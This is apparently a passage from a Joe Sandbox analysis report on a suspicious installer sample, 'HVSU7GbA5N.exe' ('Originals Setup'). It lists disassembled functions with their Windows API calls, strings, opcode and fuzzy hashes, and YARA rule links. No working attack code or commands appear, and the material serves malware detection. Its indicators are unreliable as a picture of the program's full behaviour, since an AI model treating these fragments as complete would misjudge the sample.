Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 1265525490-4148678300
Opcode ID: 1c7b9dc5b9d373c95b3dd538fd3a589de0fc08670cd7a038be037713092c8044
Instruction ID: e8cacc7e92f5bf2d1a44c635cad04a40df604100f7174d9fb2de66c5d7927451
Opcode Fuzzy Hash: 1c7b9dc5b9d373c95b3dd538fd3a589de0fc08670cd7a038be037713092c8044
Instruction Fuzzy Hash: 60410171704B19BFD3206B215C89F6B3A5CDB45714F14023ABD01F62D2D67CA8018E7E

Function 00402B42 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B5D
MulDiv.KERNEL32(0009EC46,00000064,0009EC4A), ref: 00402B88
wsprintfA.USER32 ref: 00402B98
SetWindowTextA.USER32(?,?), ref: 00402BA8
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BBA

Strings

verifying installer: %d%%, xrefs: 00402B92
J, xrefs: 00402B79
F, xrefs: 00402B73

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: F$J$verifying installer: %d%%
API String ID: 1451636040-2980489140
Opcode ID: 7c6b42b6a0cc2db989286670b759c7d1809337f1b1d19a01d5db9df498489f5d
Instruction ID: 2a4a5d9d20a729fd9d452e33c08772ea7119627e62a29752c404fbbb79c7976e
Opcode Fuzzy Hash: 7c6b42b6a0cc2db989286670b759c7d1809337f1b1d19a01d5db9df498489f5d
Instruction Fuzzy Hash: 5601F471940209BBDF14AF60DD49EAE3779BB04345F008039FA06B52D0D7B9A955CB59

Function 00405E28 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\HVSU7GbA5N.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040308E,C:\Users\user\AppData\Local\Temp\,75573410,00403268), ref: 00405E80
CharNextA.USER32(?,?,?,00000000), ref: 00405E8D
CharNextA.USER32(?,"C:\Users\user\Desktop\HVSU7GbA5N.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040308E,C:\Users\user\AppData\Local\Temp\,75573410,00403268), ref: 00405E92
CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040308E,C:\Users\user\AppData\Local\Temp\,75573410,00403268), ref: 00405EA2

Strings

*?|<>/":, xrefs: 00405E70
C:\Users\user\AppData\Local\Temp\, xrefs: 00405E29, 00405E2E
"C:\Users\user\Desktop\HVSU7GbA5N.exe", xrefs: 00405E64

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\HVSU7GbA5N.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3172565213
Opcode ID: 936ec53846ae3d4c979f0b86072daa16fddb5806f2a9e6e631d156a7122fd3c6
Instruction ID: a4a2cc105071513804232ace241bb9437e981183223a596247e33b0ed04e6b88
Opcode Fuzzy Hash: 936ec53846ae3d4c979f0b86072daa16fddb5806f2a9e6e631d156a7122fd3c6
Instruction Fuzzy Hash: F111C461805B9129FB3217248C44B776F89CB96B60F18047BE5C4B22C3D77C5E428EAD

Function 00403EDA Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403EF7
GetSysColor.USER32(00000000), ref: 00403F13
SetTextColor.GDI32(?,00000000), ref: 00403F1F
SetBkMode.GDI32(?,?), ref: 00403F2B
GetSysColor.USER32(?), ref: 00403F3E
SetBkColor.GDI32(?,?), ref: 00403F4E
DeleteObject.GDI32(?), ref: 00403F68
CreateBrushIndirect.GDI32(?), ref: 00403F72

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction ID: d122295a95d7a35518708bb3646b4b032600d4a0088814026e1a2530b61c3467
Opcode Fuzzy Hash: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction Fuzzy Hash: 04218471904705ABC7219F68DD08B4BBFF8AF01715F048A29E996E22E1D738EA44CB55

Function 00402683 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026D7
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026F3
GlobalFree.KERNEL32(?), ref: 0040272C
WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66,?,?,?,?,000000F0), ref: 0040273E
GlobalFree.KERNEL32(00000000), ref: 00402745
CloseHandle.KERNEL32(FFFFFD66,?,?,000000F0), ref: 0040275D
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 00402771

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 5456bc62459d66cde3aa9345bf3e569abf4febe9e7b849f405182c4fab6697a6
Instruction ID: 62ce17ec0f4375d45857f5132ba240fdd0ea0b04a4fb9e1f6e2a0a3b4674b9fe
Opcode Fuzzy Hash: 5456bc62459d66cde3aa9345bf3e569abf4febe9e7b849f405182c4fab6697a6
Instruction Fuzzy Hash: B6319C71C00128BBDF216FA5CD89DAE7E79EF09364F10423AF920762E0C7795D419BA9

Function 00404771 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 0040478C
GetMessagePos.USER32 ref: 00404794
ScreenToClient.USER32(?,?), ref: 004047AE
SendMessageA.USER32(?,00001111,00000000,?), ref: 004047C0
SendMessageA.USER32(?,0000110C,00000000,?), ref: 004047E6

Strings

f, xrefs: 004047C2

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction ID: 7320c3ca21a199b12554e0b126592fdbaa3119cb9dfe1c5a5544a419b0626cb6
Opcode Fuzzy Hash: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction Fuzzy Hash: 7B019275D00218BADB00DB94DC85FFEBBBCAF45711F10412BBA11B71C0C3B465018BA5

Function 00404667 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Originals Setup: Completed,Originals Setup: Completed,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404582,000000DF,00000000,00000400,?), ref: 00404705
wsprintfA.USER32 ref: 0040470D
SetDlgItemTextA.USER32(?,Originals Setup: Completed), ref: 00404720

Strings

%u.%u%s%s, xrefs: 004046EF
Originals Setup: Completed, xrefs: 004046F7, 004046FC, 00404702, 00404716

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$Originals Setup: Completed
API String ID: 3540041739-3424068493
Opcode ID: 2fef8783583e05583b13a3a111104ffe67f6f47bd1d4956f9e9fcfce1648db61
Instruction ID: bb6c02d87b5a590dcf5e60bd08fb8011c89fc701b4454ccbd5a96a7ae09536e5
Opcode Fuzzy Hash: 2fef8783583e05583b13a3a111104ffe67f6f47bd1d4956f9e9fcfce1648db61
Instruction Fuzzy Hash: 6F11E773A041283BDB00666D9C41EAF3298DB82374F250637FA26F71D1F9799C1296E9

Function 004038D3 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,Originals Setup), ref: 0040396B

Strings

Originals Setup: Completed, xrefs: 004038D6
Originals Setup, xrefs: 0040395A
1033, xrefs: 004038D7, 004038E1, 00403952
"C:\Users\user\Desktop\HVSU7GbA5N.exe", xrefs: 004038D4

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\HVSU7GbA5N.exe"$1033$Originals Setup$Originals Setup: Completed
API String ID: 530164218-2537810721
Opcode ID: 5114115a6ebe5231764a3ce4d605c7881d7ff0c1eb634beed4f1a3f33a5eb945
Instruction ID: 871d24c221ce82b24610d398d310ce84231420a4e1270a2a5acaa8ae42907246
Opcode Fuzzy Hash: 5114115a6ebe5231764a3ce4d605c7881d7ff0c1eb634beed4f1a3f33a5eb945
Instruction Fuzzy Hash: 8511C6B1B046116BCB30DF55DC80A737BADEB85716364813FE802673A0D77DAD039A68

Function 00402A3D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402A5E
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A9A
RegCloseKey.ADVAPI32(?), ref: 00402AA3
RegCloseKey.ADVAPI32(?), ref: 00402AC8
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402AE6

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 82858c02e32d41fd7ca38c30764bbd1566dd555d0b274e926b0c66c461654363
Instruction ID: 7e4692ed1c3e967feaf617caf8b683db29fbfa99fde863b1c96f6eb31ad0523a
Opcode Fuzzy Hash: 82858c02e32d41fd7ca38c30764bbd1566dd555d0b274e926b0c66c461654363
Instruction Fuzzy Hash: C8114C71A00109FFDF21AF90DE49DAB3B7DEB54349B104136FA05B10A0DBB49E51AF69

Function 00401CCC Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CD0
GetClientRect.USER32(00000000,?), ref: 00401CDD
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401CFE
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D0C
DeleteObject.GDI32(00000000), ref: 00401D1B

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 3fa910a29a7471df273f3d5a519cdd9490650a943fe2164337c26205f225f611
Instruction ID: f51ac8410cbf6ce335f498807c5bd2b5625ae864585cec2d5bc31dfd5d98a64c
Opcode Fuzzy Hash: 3fa910a29a7471df273f3d5a519cdd9490650a943fe2164337c26205f225f611
Instruction Fuzzy Hash: 6DF012B2A05115BFE701EBA4EE89DAF77BCEB44301B109576F501F2191C7789D018B79

Function 00401D26 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D29
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D36
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D45
ReleaseDC.USER32(?,00000000), ref: 00401D56
CreateFontIndirectA.GDI32(0040A7B8), ref: 00401DA1

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 6c97ca4c977f86aacd357c2655dec619d2d0312ab6bad79a0316e8acbd74949c
Instruction ID: e98614b17e7a5d10a155c4b6304f3e92ae7defc274e3a3420abb617ebef8a141
Opcode Fuzzy Hash: 6c97ca4c977f86aacd357c2655dec619d2d0312ab6bad79a0316e8acbd74949c
Instruction Fuzzy Hash: E3018671958340AFEB015BB4AE0ABAA3FB4E715705F208439F142B72E2C57854159B2F

Function 00401BB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C18
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C30

Strings

!, xrefs: 00401BEC

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5bd36806d10e7675ce8922960c3dd847d1fc55b80fe462cbded294bcfffbeb76
Instruction ID: aec06c1df61e239cd4f76122eecd213935ad84fca4bb147c4325ce067fac4872
Opcode Fuzzy Hash: 5bd36806d10e7675ce8922960c3dd847d1fc55b80fe462cbded294bcfffbeb76
Instruction Fuzzy Hash: B82190B1A44208BFEF41AFB4CE4AAAE7BB5EF40344F14453EF541B61D1D6B89A40D728

Function 0040564D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030A0,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573410,00403268), ref: 00405653
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004030A0,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573410,00403268), ref: 0040565C
lstrcatA.KERNEL32(?,00409014), ref: 0040566D

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040564D

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4083868402
Opcode ID: 890135f98a5a9138db31eb4b1572133a55ea61a04d2c03425938916b0e2dddc9
Instruction ID: 2c4b20d64583e31d373f24845ccb5b94779d1f5d03349b34bc7780515f720d37
Opcode Fuzzy Hash: 890135f98a5a9138db31eb4b1572133a55ea61a04d2c03425938916b0e2dddc9
Instruction Fuzzy Hash: 17D0A9626059306AE20223269C05E8B3A58CF02315B040423F200B22A2C73C2D418BFE

Function 00402BC5 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402DA5,00000001), ref: 00402BD8
GetTickCount.KERNEL32 ref: 00402BF6
CreateDialogParamA.USER32(0000006F,00000000,00402B42,00000000), ref: 00402C13
ShowWindow.USER32(00000000,00000005), ref: 00402C21

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: a370bf3714c6657f4aa9727f83cb14b3507f4001cbab91db9230ec4a81342bf5
Instruction ID: 413067c0dd52ceff9b3bae724ffe8751623181a8cae7bdb8b5040e0cc41620bd
Opcode Fuzzy Hash: a370bf3714c6657f4aa9727f83cb14b3507f4001cbab91db9230ec4a81342bf5
Instruction Fuzzy Hash: 43F05E7094A220ABC6216F20BE8CD9F7BBCF704B52B124876F104B12E4D678D8C1DB9C

Function 00404E1A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404E49
CallWindowProcA.USER32(?,?,?,?), ref: 00404E9A

Part of subcall function 00403EBF: SendMessageA.USER32(00010458,00000000,00000000,00000000), ref: 00403ED1

Strings

, xrefs: 00404E2A

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

